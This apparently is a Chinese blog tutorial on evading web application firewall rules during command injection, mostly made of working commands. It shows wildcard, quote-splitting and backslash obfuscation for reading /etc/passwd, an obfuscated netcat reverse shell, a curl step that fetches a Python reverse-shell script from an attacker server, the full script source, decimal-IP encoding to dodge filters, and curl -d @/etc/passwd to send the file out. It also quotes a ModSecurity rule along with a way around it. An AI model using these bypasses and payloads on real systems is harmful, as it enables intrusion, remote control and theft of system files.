0%

命令注入之Web应用防火墙绕过技巧

使用通配符绕过防火墙规则 例如使用 /???/c?t /?t?/p??swd 来代替 cat /etc/passwd /???/c?t /?t?/p??swd 其实匹配到的是 /bash/cat /etc/passwd

使用通配符绕过防火墙规则

例如使用 /???/c?t /?t?/p??swd 来代替 cat /etc/passwd

/???/c?t /?t?/p??swd 其实匹配到的是 /bash/cat /etc/passwd

图片

有时候我们想用netcat在目标机器上反弹一个端口,那么可以如下操作:

/???/n? -e /???/b??h 127.0.0.1 6666

# /bin/nc -e /bin/bash 127.0.0.1 6666

# -e 后面跟上你要执行的程序,在连接成功后会自动运行该程序

图片

当然,你还可以使用*星号、[0-9]字符集等匹配符来获取相关信息,有关标准通配符的更多信息可以在终端中键入 命令 man 7 glob,按照手册进行学习。

使用字符串拼接绕过防火墙规则

连接字符串的操作符主要有以下几种

在python、Java中使用 + 号;在PHP、perl中使用 . 号;在lua语言中则使用 .. 符号来连接字符串。而这些编程语言中的一些字符串连接符,有时候在bash中也可以达到字符连接的效果,这就导致我们可以绕过一些Web应用防火墙规则(例如基于关键词匹配的防火墙规则)。

root@kali:~# echo Mochazz

Mochazz

root@kali:~# echo Mo”’chazz’

Mochazz

root@kali:~# echo ‘Mo”chazz’

Mochazz

root@kali:~# echo ‘M’och’az’z

Mochazz

看一条pm匹配规则(防火墙规则)

# Detect suspicious client by looking at the user agent identification

SecRule REQUEST_HEADERS:User-Agent “@pm passwd shadow” “id:166″

这条规则将忽略大小写进行匹配,如果匹配中passwd或shadow词组,即进行阻断,但是如果我们使用字符串拼接,则可以绕过改规则

root@kali:~# /’b’i”n/’c”a’t /e’t’c/p”as”sw’d’

图片

使用以下命令在受害机上下载用于反弹shell的脚本

curl -v “http://VPS的IP/shell.py” -o /tmp/shell.py

图片

shell.py 代码如下

#!/usr/bin/python

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((“”,2375))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call([“/bin/sh”,”-i”])

提前在你的VPS上用nc侦听一个端口

nc -lvp [port]

图片

更进一步,我们可以将点分十进制的IP转换成长整数IP,例如

curl -v “http://127.0.0.1/shell.py” -o /tmp/shell.py

curl -v “http://2130706433/shell.py” -o /tmp/shell.py

使用 \ 符号来绕过WAF

root@kali:~# c\a\t /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

使用 \ 符号加回车来绕过WAF

root@kali:~# c\

> at /e’t’c/p”a’s’swd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

使用curl -d参数读取本地文件

curl -d @/

例如

curl -d @/etc/passwd 127.0.0.1:8888

# 在本地侦听8888端口即可接受到数据

图片

您的支持将鼓励我继续创作

欢迎关注我的其它发布渠道